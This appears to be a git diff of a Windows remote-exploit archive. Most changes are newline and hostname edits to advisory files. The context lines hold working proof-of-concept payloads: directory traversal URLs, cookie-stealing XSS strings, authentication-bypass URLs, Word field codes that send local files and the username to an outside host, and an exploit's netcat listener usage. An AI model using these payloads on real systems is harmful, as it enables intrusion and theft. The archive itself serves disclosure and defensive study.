a/platforms/windows/remote/20899.txt +++ b/platforms/windows/remote/20899.txt @@ -24,4 +24,4 @@ ADDRESS attacker@example.com. 3. Now, if while composing new message Target1 directly types e-mail address target2@example.com instead of Target2, Outlook will compose address as -"target2@example.com" <attacker@example.com> and message will be received by Attacker. \ No newline at end of file +"target2@example.com" <attacker@example.com> and message will be received by Attacker. \ No newline at end of file diff --git a/platforms/windows/remote/20912.txt b/platforms/windows/remote/20912.txt index da5a73ff5..a5640a132 100755 --- a/platforms/windows/remote/20912.txt +++ b/platforms/windows/remote/20912.txt @@ -2,4 +2,4 @@ source: http://www.securityfocus.com/bid/2859/info A remote user could utilize the administrator functions of Interscan Viruswall without providing authentication credentials. This may allow the user to make configuration changes when submitting specially crafted URLs to the host. -http://VirusWall/interscan/cgi-bin/interscan.dll \ No newline at end of file +http://VirusWall/interscan/cgi-bin/interscan.dll \ No newline at end of file diff --git a/platforms/windows/remote/20947.txt b/platforms/windows/remote/20947.txt index 816ca1f56..a4d037ed9 100755 --- a/platforms/windows/remote/20947.txt +++ b/platforms/windows/remote/20947.txt @@ -6,4 +6,4 @@ One of the components of this package, 'tradecli.dll', allows users to specify a This vulnerability may disclose sensitive information to attackers. -Exploit: http://host/script/tradecli.dll?template=..\..\..\..\..\path\to\file \ No newline at end of file +Exploit: http://host/script/tradecli.dll?template=..\..\..\..\..\path\to\file \ No newline at end of file diff --git a/platforms/windows/remote/20948.txt b/platforms/windows/remote/20948.txt index 54659d034..7276c7e72 100755 --- a/platforms/windows/remote/20948.txt +++ b/platforms/windows/remote/20948.txt @@ -8,4 +8,4 @@ If the requested file does not exist, the error message will contain the absolut This information may assist in further attacks. -Exploit: http://host/scripts/tradecli.dll?template=nonexistfile \ No newline at end of file +Exploit: http://host/scripts/tradecli.dll?template=nonexistfile \ No newline at end of file diff --git a/platforms/windows/remote/21035.txt b/platforms/windows/remote/21035.txt index 6932bc33e..b3af02aa2 100755 --- a/platforms/windows/remote/21035.txt +++ b/platforms/windows/remote/21035.txt @@ -8,4 +8,4 @@ This would normally only be a local issue but in combination with other known vu Due to the issue discussed as Bugtraq ID 3100, the passwords can be disclosed to remote attackers. -http://home.victim.com:8080/../ssd.ini \ No newline at end of file +http://home.victim.com:8080/../ssd.ini \ No newline at end of file diff --git a/platforms/windows/remote/21057.txt b/platforms/windows/remote/21057.txt index 857052e8d..1e29257ff 100755 --- a/platforms/windows/remote/21057.txt +++ b/platforms/windows/remote/21057.txt @@ -4,4 +4,4 @@ A vulnerability has been discovered in Microsoft IIS that may disclose the inter It has been reported that a target host using HTTP is also vulnerable to this issue. -GET /directory HTTP/1.0 \ No newline at end of file +GET /directory HTTP/1.0 \ No newline at end of file diff --git a/platforms/windows/remote/21113.txt b/platforms/windows/remote/21113.txt index 80a75abdb..58c31e649 100755 --- a/platforms/windows/remote/21113.txt +++ b/platforms/windows/remote/21113.txt @@ -12,4 +12,4 @@ http://local-iis-server/iissamples/ISSamples/SQLQHit.asp?CiColumns=*&CiScope=ext http://local-iis-server/iissamples/ISSamples/SQLQHit.asp?CiColumns=*&CiScope=extended_webinfo -http://local-iis-server/iissamples/ISSamples/SQLQHit.asp?CiColumns=*&CiScope=fileinfo \ No newline at end of file +http://local-iis-server/iissamples/ISSamples/SQLQHit.asp?CiColumns=*&CiScope=fileinfo \ No newline at end of file diff --git a/platforms/windows/remote/21118.txt b/platforms/windows/remote/21118.txt index c66a96aee..5993b02e8 100755 --- a/platforms/windows/remote/21118.txt +++ b/platforms/windows/remote/21118.txt @@ -45,4 +45,4 @@ Now we change the @ sign to its ASCII equivalent (%40): ------------------------ http://mike%403475959674 ------------------------- \ No newline at end of file +------------------------ \ No newline at end of file diff --git a/platforms/windows/remote/21127.txt b/platforms/windows/remote/21127.txt index c58036b7f..e9e80d40b 100755 --- a/platforms/windows/remote/21127.txt +++ b/platforms/windows/remote/21127.txt @@ -33,4 +33,4 @@ vuln_win.show(vuln_x, vuln_y, vuln_w, vuln_h); var vuln_html= '\x3Cdiv style="height: 100%; line-height: 17px; font-family: \'Tahoma\', sans-serif; font-size: -8pt;">https://<spoofed URI>\x3C/div>' \ No newline at end of file +8pt;">https://<spoofed URI>\x3C/div>' \ No newline at end of file diff --git a/platforms/windows/remote/21144.txt b/platforms/windows/remote/21144.txt index 71ac934af..fa202ea42 100755 --- a/platforms/windows/remote/21144.txt +++ b/platforms/windows/remote/21144.txt @@ -4,4 +4,4 @@ Internet Explorer contains a vulnerability, which could allow an attacker to con If a URL is composed in the about: protocol referencing a website, Javascript embedded in the URL can access any cookies associated with that website via 'document.cookie'. The Javascript executes because of a cross-site scripting condition in the about: protocol. -about://www.google.com/<script language=javascript>alert(document.cookie);</script> \ No newline at end of file +about://www.google.com/<script language=javascript>alert(document.cookie);</script> \ No newline at end of file diff --git a/platforms/windows/remote/21156.txt b/platforms/windows/remote/21156.txt index 45cdd94ff..bc77cf87f 100755 --- a/platforms/windows/remote/21156.txt +++ b/platforms/windows/remote/21156.txt @@ -19,4 +19,4 @@ a.document.write("<h1>aa</h1><script>x=window.open('http://mail.yahoo.com');setT a.document.close(); } setTimeout("f()",5000); ------------------------------------ \ No newline at end of file +----------------------------------- \ No newline at end of file diff --git a/platforms/windows/remote/21164.txt b/platforms/windows/remote/21164.txt index f4b4223be..173e1c988 100755 --- a/platforms/windows/remote/21164.txt +++ b/platforms/windows/remote/21164.txt @@ -48,4 +48,4 @@ Response.BinaryWrite objStream.Read objStream.Close Set objStream = Nothing -%> \ No newline at end of file +%> \ No newline at end of file diff --git a/platforms/windows/remote/21178.html b/platforms/windows/remote/21178.html index c052ff539..f559d8645 100755 --- a/platforms/windows/remote/21178.html +++ b/platforms/windows/remote/21178.html @@ -22,4 +22,4 @@ E-Mail: <INPUT NAME="email" SIZE=30> Comments:<TEXTAREA name="comments" ROWS=10 COLS=50 SIZE="10">&lt;/textarea&gt; Press <INPUT TYPE="submit" VALUE="Submit"> -Idiot <INPUT TYPE="HALT !" VALUE="The Above Is A Example Only - The Data Is Fake"> \ No newline at end of file +Idiot <INPUT TYPE="HALT !" VALUE="The Above Is A Example Only - The Data Is Fake"> \ No newline at end of file diff --git a/platforms/windows/remote/21195.txt b/platforms/windows/remote/21195.txt index 1e42a8c24..fce1d7542 100755 --- a/platforms/windows/remote/21195.txt +++ b/platforms/windows/remote/21195.txt @@ -6,4 +6,4 @@ The problem occurs when the 'GetObject()' JScript function is used with the Acti a=GetObject("http://"+location.host+"/../../../../../../test.txt","htmlfile"); -This vulnerability could be used by a malicious web site administrator to view any known file on a target system. It may also lead to the execution of arbitrary code. \ No newline at end of file +This vulnerability could be used by a malicious web site administrator to view any known file on a target system. It may also lead to the execution of arbitrary code. \ No newline at end of file diff --git a/platforms/windows/remote/21203.txt b/platforms/windows/remote/21203.txt index 08d6ac750..d63e4beb4 100755 --- a/platforms/windows/remote/21203.txt +++ b/platforms/windows/remote/21203.txt @@ -4,4 +4,4 @@ VitalNet is part of Lucent's VitalSuite SP product family. VitalNet allows users The implementation of VitalNet's cookie-based authentication mechanism is flawed. An attacker who successfully guesses a correct username can gain access to the server without need of a valid password. -http://<serverip>/cgi-bin/VsSetCookie.exe?vsuser=<user_name> \ No newline at end of file +http://<serverip>/cgi-bin/VsSetCookie.exe?vsuser=<user_name> \ No newline at end of file diff --git a/platforms/windows/remote/21204.txt b/platforms/windows/remote/21204.txt index ed5726ecc..bf1bd4b32 100755 --- a/platforms/windows/remote/21204.txt +++ b/platforms/windows/remote/21204.txt @@ -6,4 +6,4 @@ As a result, it is possible for an attacker to append a filepath to the end of w It is also possible to run executables in the PHP directory via successful exploitation of this vulnerability. -http://[targethost]/php/php.exe?c:\[filepath] \ No newline at end of file +http://[targethost]/php/php.exe?c:\[filepath] \ No newline at end of file diff --git a/platforms/windows/remote/21211.txt b/platforms/windows/remote/21211.txt index 2914d73dc..8c815cafb 100755 --- a/platforms/windows/remote/21211.txt +++ b/platforms/windows/remote/21211.txt @@ -8,4 +8,4 @@ It should be noted that this vulnerability may only be exploited to access passw The following example will give the attacker access to the administrative interface: -http://host/./admin/ \ No newline at end of file +http://host/./admin/ \ No newline at end of file diff --git a/platforms/windows/remote/21303.txt b/platforms/windows/remote/21303.txt index 009133ced..1920c1a40 100755 --- a/platforms/windows/remote/21303.txt +++ b/platforms/windows/remote/21303.txt @@ -8,4 +8,4 @@ On Windows operating systems, webservers run in the SYSTEM context. A remote att Deerfield's D2Gfx is powered by BadBlue v1.02 and should be considered vulnerable as well. -http://server/.../...//file.ext \ No newline at end of file +http://server/.../...//file.ext \ No newline at end of file diff --git a/platforms/windows/remote/21313.txt b/platforms/windows/remote/21313.txt index 7aa3636a7..13f400407 100755 --- a/platforms/windows/remote/21313.txt +++ b/platforms/windows/remote/21313.txt @@ -10,4 +10,4 @@ Authorization: Basic cTFraTk6ZDA5a2xt GET / HTTP/1.1 Host: iis-server -Authorization: Negotiate TlRMTVNTUAABAAAAB4IAoAAAAAAAAAAAAAAAAAAAAAA= \ No newline at end of file +Authorization: Negotiate TlRMTVNTUAABAAAAB4IAoAAAAAAAAAAAAAAAAAAAAAA= \ No newline at end of file diff --git a/platforms/windows/remote/21367.txt b/platforms/windows/remote/21367.txt index 970a95c28..f4b958201 100755 --- a/platforms/windows/remote/21367.txt +++ b/platforms/windows/remote/21367.txt @@ -8,4 +8,4 @@ This issue may be exploited by a remote attacker to gain access to the administr This issue was reported for Abyss Web Server for Microsoft Windows operating systems. It is not known whether the Linux version is also affected by this vulnerability. Furthermore, it should be noted that web servers on multi-user Windows operating systems generally run with SYSTEM privileges. -http://target/cgi-bin/%2e%2e/abyss.conf \ No newline at end of file +http://target/cgi-bin/%2e%2e/abyss.conf \ No newline at end of file diff --git a/platforms/windows/remote/21385.txt b/platforms/windows/remote/21385.txt index d23c13bfd..32cf4bc1a 100755 --- a/platforms/windows/remote/21385.txt +++ b/platforms/windows/remote/21385.txt @@ -16,4 +16,4 @@ Response: Microsoft VBScript runtime (0x800A004C) Path not found Request: http://target/IISSamples/sdk/asp/docs/CodeBrws.asp?Source=/IISSAMPLES/%c0%ae%c0%ae/%c0%ae%c0%ae/oracle/nonexistant.asp -Response: Microsoft VBScript runtime (0x800A0035) File not found \ No newline at end of file +Response: Microsoft VBScript runtime (0x800A0035) File not found \ No newline at end of file diff --git a/platforms/windows/remote/21386.html b/platforms/windows/remote/21386.html index 395cebff3..2ce2a093e 100755 --- a/platforms/windows/remote/21386.html +++ b/platforms/windows/remote/21386.html @@ -15,4 +15,4 @@ ID="1"></BODY></HTML><BINARY><DATA ID=1">***WAVE FILE DATA HERE***</DATA></BINARY> -However, injection into the AIM communication stream may require additional work as the protocol includes some overhead such as sequence numbers for messages. \ No newline at end of file +However, injection into the AIM communication stream may require additional work as the protocol includes some overhead such as sequence numbers for messages. \ No newline at end of file diff --git a/platforms/windows/remote/21446.txt b/platforms/windows/remote/21446.txt index 602714a3c..7ca0b0e87 100755 --- a/platforms/windows/remote/21446.txt +++ b/platforms/windows/remote/21446.txt @@ -6,4 +6,4 @@ Script code is not filtered from URL parameters that are used as output by the S This may enable the attacker to steal cookie-based authentication credentials from legitimate users. -http://target/sgdynamo.exe?HTNAME=<script>alert("test")</script> \ No newline at end of file +http://target/sgdynamo.exe?HTNAME=<script>alert("test")</script> \ No newline at end of file diff --git a/platforms/windows/remote/21451.txt b/platforms/windows/remote/21451.txt index 2e92f1847..d66fcb6eb 100755 --- a/platforms/windows/remote/21451.txt +++ b/platforms/windows/remote/21451.txt @@ -5,4 +5,4 @@ Opera is a web browser product created by Opera Software, and is available for a It is possible to bypass the same origin policy in some versions of the Opera Browser. Javascript may modify the location property of an IFRAME or FRAME included in the document. If the location is set to a javascript: URL, the script code will execute within the context of the previous frame site. <iframe name=foo src="www.sensitive.com"></iframe> -<script>foo.location="javascript:alert(document.cookie)";</script> \ No newline at end of file +<script>foo.location="javascript:alert(document.cookie)";</script> \ No newline at end of file diff --git a/platforms/windows/remote/21452.txt b/platforms/windows/remote/21452.txt index 52fd9fa6d..a632e9723 100755 --- a/platforms/windows/remote/21452.txt +++ b/platforms/windows/remote/21452.txt @@ -10,4 +10,4 @@ This vulnerability may also be exploited through HTML formatted email. This vulnerability could potentially be exploited by an HTTP header similar to the following: Content-Type: audio/x-ms-wma -Content-disposition: inline; filename="foo.exe" \ No newline at end of file +Content-disposition: inline; filename="foo.exe" \ No newline at end of file diff --git a/platforms/windows/remote/21469.txt b/platforms/windows/remote/21469.txt index 17aa5e983..cec926b96 100755 --- a/platforms/windows/remote/21469.txt +++ b/platforms/windows/remote/21469.txt @@ -6,4 +6,4 @@ ServletExec/ISAPI discloses the absolute path to the webroot directory when sent This type of sensitive information may aid in further attacks against the host running the vulnerable software. -http://target/servlet/com.newatlanta.servletexec.JSP10Servlet/ \ No newline at end of file +http://target/servlet/com.newatlanta.servletexec.JSP10Servlet/ \ No newline at end of file diff --git a/platforms/windows/remote/21470.txt b/platforms/windows/remote/21470.txt index b0a3e65a3..6fef1b57c 100755 --- a/platforms/windows/remote/21470.txt +++ b/platforms/windows/remote/21470.txt @@ -4,4 +4,4 @@ ServletExec/ISAPI is a plug-in Java Servlet/JSP engine for Microsoft IIS. It run ServletExec/ISAPI will disclose the contents of arbitrary files within the webroot directory by sending a request containing URL encoded directory traversal sequences. While this will cause the software to serve files within wwwroot that normally would not be served, it does not appear possible to exploit this condition to break out of the webroot. -http://target/servlet/com.newatlanta.servletexec.JSP10Servlet/..%5c..%5c\global.asa \ No newline at end of file +http://target/servlet/com.newatlanta.servletexec.JSP10Servlet/..%5c..%5c\global.asa \ No newline at end of file diff --git a/platforms/windows/remote/21475.txt b/platforms/windows/remote/21475.txt index dea32ac8e..542e63c84 100755 --- a/platforms/windows/remote/21475.txt +++ b/platforms/windows/remote/21475.txt @@ -4,4 +4,4 @@ A vulnerability exists in LocalWEB2000 related to content password protection. I This vulnerability was reported for LocalWEB2000 Standard Version 2.1.0. Other versions (such as the Professional Edition) may also be affected by this issue. -http://target/./protectedfolder/protectedfile.htm \ No newline at end of file +http://target/./protectedfolder/protectedfile.htm \ No newline at end of file diff --git a/platforms/windows/remote/21483.html b/platforms/windows/remote/21483.html index 23622b30f..55a635947 100755 --- a/platforms/windows/remote/21483.html +++ b/platforms/windows/remote/21483.html @@ -10,4 +10,4 @@ name="secForm"> <input type="file" name="expFile" value="c:\test.txt&#10;" style="visibility:hidden"> </form> -</body> \ No newline at end of file +</body> \ No newline at end of file diff --git a/platforms/windows/remote/21485.txt b/platforms/windows/remote/21485.txt index d5793d428..4b7d83bc3 100755 --- a/platforms/windows/remote/21485.txt +++ b/platforms/windows/remote/21485.txt @@ -22,4 +22,4 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOP PPPQQQQRRRRSSSSTTTAAAA&#11;©õwABCDEFGH^Ð&#402;Ã?&#21;^?ægMyWindow"><PARAM NAME="Item2" VALUE="NGS Software LTD"></OBJECT> -<SCRIPT>winhelp.HHClick()</SCRIPT> \ No newline at end of file +<SCRIPT>winhelp.HHClick()</SCRIPT> \ No newline at end of file diff --git a/platforms/windows/remote/21515.txt b/platforms/windows/remote/21515.txt index 2cc5d7384..88b37ffd2 100755 --- a/platforms/windows/remote/21515.txt +++ b/platforms/windows/remote/21515.txt @@ -8,4 +8,4 @@ When a folder is being viewed through FTP, the FTP server name is included in th This vulnerability has been confirmed to exist under Windows 2000. Other versions of Windows may share this vulnerability. This has not, however, been confirmed. -<a href="ftp://%22%3e%3cscript%3ealert(%22Exploit%22)%3b%3c%2fscript%3e%20" target="_blank">Exploit</a> \ No newline at end of file +<a href="ftp://%22%3e%3cscript%3ealert(%22Exploit%22)%3b%3c%2fscript%3e%20" target="_blank">Exploit</a> \ No newline at end of file diff --git a/platforms/windows/remote/21530.txt b/platforms/windows/remote/21530.txt index a627d903f..b9bc577f9 100755 --- a/platforms/windows/remote/21530.txt +++ b/platforms/windows/remote/21530.txt @@ -2,4 +2,4 @@ source: http://www.securityfocus.com/bid/4978/info The Seanox DevWex Windows binary version is prone to an issue which may cause arbitrary web-readable files to be disclosed to remote attackers. This problem occurs because DevWex does not sufficiently filter '..\' sequences from web requests. -GET /..\..\..\..\anyfile \ No newline at end of file +GET /..\..\..\..\anyfile \ No newline at end of file diff --git a/platforms/windows/remote/21541.txt b/platforms/windows/remote/21541.txt index 193303f7c..b2747d094 100755 --- a/platforms/windows/remote/21541.txt +++ b/platforms/windows/remote/21541.txt @@ -7,4 +7,4 @@ It is possible, under some circumstances, to inject arbitrary script code via XM It should be noted that successful exploitation of this vulnerability is highly conditional. Firstly, the victim of the attack must have access to an IIS server running vulnerable versions of the SQLXML HTTP components. The victim of the attack must also have sufficient privileges to pass queries to the underlying SQL server. Lastly, the attacker must also have knowledge of the virtual directory that has been set up on the IIS Server for SQLXML HTTP components. IIS-server/Northwind?sql=SELECT+contactname,+phone+FROM+Customers+FOR+XML&root= -<SCRIPT>alert(document.domain)</SCRIPT> \ No newline at end of file +<SCRIPT>alert(document.domain)</SCRIPT> \ No newline at end of file diff --git a/platforms/windows/remote/21554.txt b/platforms/windows/remote/21554.txt index d2e636ee7..c946c0213 100755 --- a/platforms/windows/remote/21554.txt +++ b/platforms/windows/remote/21554.txt @@ -6,4 +6,4 @@ It is possible for attackers to construct a URL that will cause scripting code t Xitami fails to check URLs for the presence of script commands when generating error pages returned from sample scripts that use Errors.gsl, allowing attacker supplied code to execute. As a result, when an innocent user follows such a link, the script code will execute within the context of the hosted site. -http://www.<IMG%20SRC=""%20ONERROR="alert(document.cookie)">.server/error404 \ No newline at end of file +http://www.<IMG%20SRC=""%20ONERROR="alert(document.cookie)">.target.com/error404 \ No newline at end of file diff --git a/platforms/windows/remote/21555.txt b/platforms/windows/remote/21555.txt index a94f82573..df00fccdb 100755 --- a/platforms/windows/remote/21555.txt +++ b/platforms/windows/remote/21555.txt @@ -4,4 +4,4 @@ Cisco Secure ACS is an access control and accounting server system. It is distri It has been discovered that the web server component of the Cisco Secure ACS package allows an attacker to execute cross-site scripting attacks. When this link is visited, the attacker-supplied HTML or script code could be executed in the browser of a user, provided the user has authenticated to the Secure ACS server. -http://example.com:dyn_port/setup.exe?action=<script>alert('foo+bar')</script>&page=list_users&user=P* \ No newline at end of file +http://example.com:dyn_port/setup.exe?action=<script>alert('foo+bar')</script>&page=list_users&user=P* \ No newline at end of file diff --git a/platforms/windows/remote/21576.txt b/platforms/windows/remote/21576.txt index 1c0b00893..a11f4c377 100755 --- a/platforms/windows/remote/21576.txt +++ b/platforms/windows/remote/21576.txt @@ -2,4 +2,4 @@ source: http://www.securityfocus.com/bid/5086/info BadBlue is a P2P file sharing application distributed by Working Resources. The ext.dll ISAPI does not sufficiently sanitize input. Because of this, it is possible for a user to create a custom URL containing script code that, when viewed in a browser by another user, will result in the execution of the script code. This could allow for the execution of malicious JavaScript in the context of a trusted site. -http://target/ext.dll?MfcISAPICommand=LoadPage&page=search.htx&a0=%3Cscript%3Ealert('lame')%3C/script%3E&a1=0&a2=1&a3=6 \ No newline at end of file +http://target/ext.dll?MfcISAPICommand=LoadPage&page=search.htx&a0=%3Cscript%3Ealert('lame')%3C/script%3E&a1=0&a2=1&a3=6 \ No newline at end of file diff --git a/platforms/windows/remote/21581.txt b/platforms/windows/remote/21581.txt index 267c97526..66a3c488f 100755 --- a/platforms/windows/remote/21581.txt +++ b/platforms/windows/remote/21581.txt @@ -10,4 +10,4 @@ http://target/urlcount.cgi?%3CIMG%20SRC%3D%22%22%20ONERROR%3D%22alert%28%27xss%2 This will affect web users who visit the reports page: -http://target/urlcount.cgi?REPORT \ No newline at end of file +http://target/urlcount.cgi?REPORT \ No newline at end of file diff --git a/platforms/windows/remote/21582.txt b/platforms/windows/remote/21582.txt index a6104f036..df3e00ef9 100755 --- a/platforms/windows/remote/21582.txt +++ b/platforms/windows/remote/21582.txt @@ -5,4 +5,4 @@ Macromedia JRun is prone to an issue which may allow remote attackers to bypass http://JRun-Server:8000//welcome.jsp?&action=stop&server=default will shutdown the 'default' JRun server instance on port 8100. Other -administrative functions can also be accessed. \ No newline at end of file +administrative functions can also be accessed. \ No newline at end of file diff --git a/platforms/windows/remote/21599.txt b/platforms/windows/remote/21599.txt index a1db475f8..55319e9ec 100755 --- a/platforms/windows/remote/21599.txt +++ b/platforms/windows/remote/21599.txt @@ -8,4 +8,4 @@ Additionally, user supplied input is displayed as the hidden form value "a0" wit "hi"'));alert("ZING!!!");document.write(cleanSearchString('a -"><script>alert("ZING!!!");</script>< \ No newline at end of file +"><script>alert("ZING!!!");</script>< \ No newline at end of file diff --git a/platforms/windows/remote/21605.txt b/platforms/windows/remote/21605.txt index f955508e7..3698a03c4 100755 --- a/platforms/windows/remote/21605.txt +++ b/platforms/windows/remote/21605.txt @@ -4,4 +4,4 @@ A vulnerability has been reported for Apache Tomcat 4.0.3 on a Microsoft Windows When making a request for a DOS device file name, Tomcat will throw an exception and respond with an error message. It is also possible for information to be appended to the DOS device when making a request. -tomcat-server/COM2.IMG%20src= "Javascript:alert(document.domain)" \ No newline at end of file +tomcat-server/COM2.IMG%20src= "Javascript:alert(document.domain)" \ No newline at end of file diff --git a/platforms/windows/remote/21607.txt b/platforms/windows/remote/21607.txt index 12c625de1..26059e92e 100755 --- a/platforms/windows/remote/21607.txt +++ b/platforms/windows/remote/21607.txt @@ -8,4 +8,4 @@ It has been reported that it is possible to exploit this vulnerability to access ** It is also possible to connect directly to a GoAhead WebServer using netcat or telnet and issuing a GET command for a known file using regular directory traversal sequences. There is no requirement for encoding the '/' character as '%5C'. Instead an attacker can obtain files by using '..\..\' sequences. -GoAhead-server/..%5C..%5C..%5C..%5C..%5C..%5C/winnt/win.ini \ No newline at end of file +GoAhead-server/..%5C..%5C..%5C..%5C..%5C..%5C/winnt/win.ini \ No newline at end of file diff --git a/platforms/windows/remote/21608.txt b/platforms/windows/remote/21608.txt index ffb39708c..d58ac4d03 100755 --- a/platforms/windows/remote/21608.txt +++ b/platforms/windows/remote/21608.txt @@ -4,4 +4,4 @@ A vulnerability has been reported for GoAhead WebServer 2.1. Reportedly, it is p GoAhead WebServer includes unsanitized requested URLs when displaying a 404 error page. An attacker may be able to trick a user into following a link which includes malicious script code, and executing the attack. -GoAhead-server/SCRIPTalert(document.domain)/SCRIPT \ No newline at end of file +GoAhead-server/SCRIPTalert(document.domain)/SCRIPT \ No newline at end of file diff --git a/platforms/windows/remote/21611.txt b/platforms/windows/remote/21611.txt index cfda7d638..75cace987 100755 --- a/platforms/windows/remote/21611.txt +++ b/platforms/windows/remote/21611.txt @@ -4,4 +4,4 @@ Lil' HTTP server is a web server application for Windows environments and is mai It is possible for attackers to construct a URL to the 'pbcgi.cgi' script which includes scripting code to execute in a user's browser. As a result, when an innocent user follows such a link, the script code will execute within the context of the hosted site. -http://localhost:81/pbcgi.cgi?name=Matthew%20Murphy&email=%3CSCRIPT%3Ealert%28%27xss%27%29%3B%3C%2FSCRIPT%3E \ No newline at end of file +http://localhost:81/pbcgi.cgi?name=Matthew%20Murphy&email=%3CSCRIPT%3Ealert%28%27xss%27%29%3B%3C%2FSCRIPT%3E \ No newline at end of file diff --git a/platforms/windows/remote/21613.txt b/platforms/windows/remote/21613.txt index 7ddfdfc83..8c52d053d 100755 --- a/platforms/windows/remote/21613.txt +++ b/platforms/windows/remote/21613.txt @@ -17,4 +17,4 @@ RCPT TO: IMCEASMTP-test+40test+2Ecom@victim.co.uk 250 2.1.5 IMCEASMTP-test+40test+2Ecom@victim.co.uk data 354 Start mail input; end with <CRLF>.<CRLF> -Subject: You are vulnerable. \ No newline at end of file +Subject: You are vulnerable. \ No newline at end of file diff --git a/platforms/windows/remote/21616.txt b/platforms/windows/remote/21616.txt index b600c3266..679cb0e64 100755 --- a/platforms/windows/remote/21616.txt +++ b/platforms/windows/remote/21616.txt @@ -4,4 +4,4 @@ BadBlue is a P2P file sharing application distributed by Working Resources. It i It has been discovered that a request passed to a BadBlue server containing a null byte at the end of a file name will return the contents of the file. This type of request can be applied to gain access to sensitive information, such as the BadBlue configuration file. -GET /ext.ini.% 00.txt HTTP/1.0 \ No newline at end of file +GET /ext.ini.% 00.txt HTTP/1.0 \ No newline at end of file diff --git a/platforms/windows/remote/21619.txt b/platforms/windows/remote/21619.txt index 2cf70cc25..55727e379 100755 --- a/platforms/windows/remote/21619.txt +++ b/platforms/windows/remote/21619.txt @@ -8,4 +8,4 @@ This issue was reported for versions of AIM running on Microsoft Windows and Mac <META HTTP-EQUIV="refresh"CONTENT=0;URL=aim:addbuddy?listofscreennames=mindfliporg,mfliporb,mflipmax,mflips0nic,mflipzorcon&groupname=mindfliporg> A web page loaded with the above code in the META REFRESH tag will -automatically add a group called mindfliporg and add the users mindfliporg, mfliporb, mflipmax, mflips0nic, mflipzorcon to buddy list. \ No newline at end of file +automatically add a group called mindfliporg and add the users mindfliporg, mfliporb, mflipmax, mflips0nic, mflipzorcon to buddy list. \ No newline at end of file diff --git a/platforms/windows/remote/21652.cpp b/platforms/windows/remote/21652.cpp index 10348278c..398485660 100755 --- a/platforms/windows/remote/21652.cpp +++ b/platforms/windows/remote/21652.cpp @@ -115,9 +115,9 @@ int main(int argc, char *argv[]) printf("Exemple:\r\n"); printf("Target is MSSQL SP 0:\r\n"); printf(" C:\\>nc -l -p 53\r\n"); - printf(" C:\\>%s db.server 202.202.202.202 53 0\r\n",argv[0]); + printf(" C:\\>%s db.target.com 202.202.202.202 53 0\r\n",argv[0]); printf("Target is MSSQL SP 1 or 2:\r\n"); - printf(" c:\\>%s db.server 202.202.202.202\r\n\n", argv[0]); + printf(" c:\\>%s db.target.com 202.202.202.202\r\n\n", argv[0]); return 0; } diff --git a/platforms/windows/remote/21748.txt b/platforms/windows/remote/21748.txt index 80327b199..58fcf99f8 100755 --- a/platforms/windows/remote/21748.txt +++ b/platforms/windows/remote/21748.txt @@ -23,4 +23,4 @@ vspace=0 <PARAM NAME="FontSize" VALUE="50"> <PARAM NAME="FontBold" VALUE="1"> <PARAM NAME="FrColor" VALUE="0"> -</OBJECT> \ No newline at end of file +</OBJECT> \ No newline at end of file diff --git a/platforms/windows/remote/21749.txt b/platforms/windows/remote/21749.txt index caa4414d6..eb0fb62f9 100755 --- a/platforms/windows/remote/21749.txt +++ b/platforms/windows/remote/21749.txt @@ -19,4 +19,4 @@ oXD.firstChild || oPE.line>0 ? "File does not exist or could not be retrieved." ); } -</script> \ No newline at end of file +</script> \ No newline at end of file diff --git a/platforms/windows/remote/21754.txt b/platforms/windows/remote/21754.txt index 77ac2278b..99a3563df 100755 --- a/platforms/windows/remote/21754.txt +++ b/platforms/windows/remote/21754.txt @@ -4,4 +4,4 @@ Cross site scripting vulnerabilities have been reported in multiple sample scrip This type of vulnerability may be used to steal cookies or perform other web-based attacks. -http://localhost/test.shtml?%3CSCRIPT%3Ealert(document.URL)%3C%2FSCRIPT%3E=x \ No newline at end of file +http://localhost/test.shtml?%3CSCRIPT%3Ealert(document.URL)%3C%2FSCRIPT%3E=x \ No newline at end of file diff --git a/platforms/windows/remote/21757.txt b/platforms/windows/remote/21757.txt index e159ec89b..5aa6335da 100755 --- a/platforms/windows/remote/21757.txt +++ b/platforms/windows/remote/21757.txt @@ -5,4 +5,4 @@ OmniHTTPD is a webserver for Microsoft Windows operating systems. OmniHTTPD supp A HTML injection vulnerability has been reported in the '/cgi-bin/redir.exe' sample CGI included with OmniHTTPD. Reportedly, it is possible for an attacker to URL encode the newline character (%0D) and insert malicious HTML code. A vulnerable server receiving a malformed request will return a 302 redirect HTTP response containing the malicious attacker-supplied code. http://localhost/cgi-bin/redir.exe?URL=http%3A%2F%2Fwww%2Eyahoo%2Ecom%2F%0D% -0A%0D%0A%3CSCRIPT%3Ealert%28document%2EURL%29%3C%2FSCRIPT%3E \ No newline at end of file +0A%0D%0A%3CSCRIPT%3Ealert%28document%2EURL%29%3C%2FSCRIPT%3E \ No newline at end of file diff --git a/platforms/windows/remote/21777.txt b/platforms/windows/remote/21777.txt index 6f9f4c6f9..eea476542 100755 --- a/platforms/windows/remote/21777.txt +++ b/platforms/windows/remote/21777.txt @@ -15,4 +15,4 @@ e)";         7000     ); } -</script> \ No newline at end of file +</script> \ No newline at end of file diff --git a/platforms/windows/remote/21812.txt b/platforms/windows/remote/21812.txt index 6d318ad5e..e68199c53 100755 --- a/platforms/windows/remote/21812.txt +++ b/platforms/windows/remote/21812.txt @@ -6,9 +6,9 @@ If the INCLUDEPICTURE Field Code is included in a document and references a URL, An attacker can potentially exploit this vulnerability to obtain the contents of files residing on a victim user's system. -{ INCLUDEPICTURE { QUOTE "http:\\www.alicesserver\" & { FILENAME \p } & { INCLUDETEXT "c:\\a.txt" } } \d } +{ INCLUDEPICTURE { QUOTE "http:\\www.alicesserver.com\" & { FILENAME \p } & { INCLUDETEXT "c:\\a.txt" } } \d } -{ INCLUDEPICTURE { QUOTE "http:\\www.alicesserver\" & { USERNAME } & { USERADDRESS } } \d } +{ INCLUDEPICTURE { QUOTE "http:\\www.alicesserver.com\" & { USERNAME } & { USERADDRESS } } \d } (The curly braces above represent Microsoft Word field braces.) diff --git a/platforms/windows/remote/21883.html b/platforms/windows/remote/21883.html index 8e56e396d..3f82bd5bf 100755 --- a/platforms/windows/remote/21883.html +++ b/platforms/windows/remote/21883.html @@ -69,4 +69,4 @@ close(); } </script> </BODY> -</HTML> \ No newline at end of file +</HTML> \ No newline at end of file diff --git a/platforms/windows/remote/21910.txt b/platforms/windows/remote/21910.txt 